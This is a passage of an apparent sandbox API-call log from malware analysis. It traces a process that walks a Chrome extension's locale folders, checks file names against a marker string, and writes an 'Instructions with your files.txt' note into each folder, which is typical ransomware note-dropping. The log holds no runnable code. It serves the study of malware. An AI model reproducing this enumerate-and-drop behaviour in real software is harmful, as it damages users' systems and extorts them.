[0128.893] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*") returned 143
[0128.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.894] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\.") returned 143
[0128.894] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.894] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\..") returned 144
[0128.894] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.894] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 155
[0128.894] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.894] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.894] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\Instructions with your files.txt") returned 174
[0128.894] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.894] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.895] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.895] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.895] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.895] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.896] CloseHandle (hObject=0x134) returned 1
[0128.896] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.896] GetProcessHeap () returned 0x810000
[0128.896] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.896] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
[0128.896] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned 141
[0128.896] GetProcessHeap () returned 0x810000
[0128.896] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.896] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*") returned 143
[0128.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.898] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\.") returned 143
[0128.898] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.898] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\..") returned 144
[0128.898] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.898] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 155
[0128.898] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.898] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.898] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\Instructions with your files.txt") returned 174
[0128.898] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.899] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.899] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.900] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.900] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.900] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.900] CloseHandle (hObject=0x134) returned 1
[0128.900] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.900] GetProcessHeap () returned 0x810000
[0128.900] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.900] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
[0128.900] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned 141
[0128.900] GetProcessHeap () returned 0x810000
[0128.900] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.900] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*") returned 143
[0128.900] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.900] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\.") returned 143
[0128.900] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.901] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\..") returned 144
[0128.901] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.901] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 155
[0128.901] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.901] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.901] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\Instructions with your files.txt") returned 174
[0128.901] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.901] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.902] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.902] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.902] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.902] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.902] CloseHandle (hObject=0x134) returned 1
[0128.903] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.903] GetProcessHeap () returned 0x810000
[0128.903] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.903] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
[0128.903] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned 141
[0128.903] GetProcessHeap () returned 0x810000
[0128.903] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.903] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*") returned 143
[0128.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.904] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\.") returned 143
[0128.904] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.904] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\..") returned 144
[0128.904] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.904] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json") returned 155
[0128.904] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.904] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.904] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\Instructions with your files.txt") returned 174
